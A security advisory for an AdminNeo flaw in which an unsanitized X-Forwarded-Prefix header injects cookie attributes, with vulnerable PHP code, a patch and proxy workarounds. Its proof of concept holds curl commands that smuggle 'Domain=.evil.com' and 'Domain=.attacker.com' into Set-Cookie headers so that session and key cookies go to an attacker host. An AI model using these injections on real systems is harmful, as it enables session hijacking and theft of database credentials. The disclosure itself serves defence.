---
id: CVE-2026-96631
aliases:
  - GHSA-79wv-8rh2-9vp2
title: >-
  AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in
  Set-Cookie Headers
summary: >-
  AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in
  Set-Cookie Headers
severity: high
cvss: 8.2
cwe:
  - CWE-20
  - CWE-113
vendor: adminneo-org
product: adminneo-org/adminneo
ecosystem: composer
affected:
  - 'adminneo-org/adminneo >= 4.6.0, < 5.5.1'
patched:
  - adminneo-org/adminneo 5.5.1
published: '2026-10-30'
updated: '2026-10-30'
sourceUpdated: '2026-10-30T22:52:48Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-79wv-8rh2-9vp2'
references:
  - url: >-
      https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2
  - url: >-
      https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64
  - url: 'https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1'
  - url: 'https://github.com/advisories/GHSA-79wv-8rh2-9vp2'
tags:
  - ghsa
  - composer
ingestedAt: '2026-10-30T23:11:25.787Z'
---

## Overview

### Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

### Vulnerable Code

**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**
(`admin/include/bootstrap.inc.php`, lines 50–52):

```php
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}
```

The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

**Root cause 2 - Manual `Set-Cookie `header construction without escaping**
(`admin/include/functions.inc.php`, lines 416–424):

```php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}
```

The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.

**Root cause 3 - Session cookie also tainted**
(`admin/include/bootstrap.inc.php`, line 61):

```php
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);
```

The PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.

### Impact

- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.
- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.
- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

### Affected Cookies

|**Cookie**|**Content**|**Risk**|
|`neo_sid`|PHP session ID|Session hijacking|
|`neo_key`|Encryption key for stored DB passwords|Credential theft|
|`neo_settings`|User preferences|Low (information disclosure)|

### Proof of Concept

```shell
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
```

### Recommended Fix

1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.
2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.
3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).

```php
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}
```

### Server Based Workaround Via Config

Configure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:

```nginx
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix
```

```yaml
# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"
```

## Affected packages

- `adminneo-org/adminneo >= 4.6.0, < 5.5.1`

## Remediation

Upgrade to a patched release:

- `adminneo-org/adminneo 5.5.1`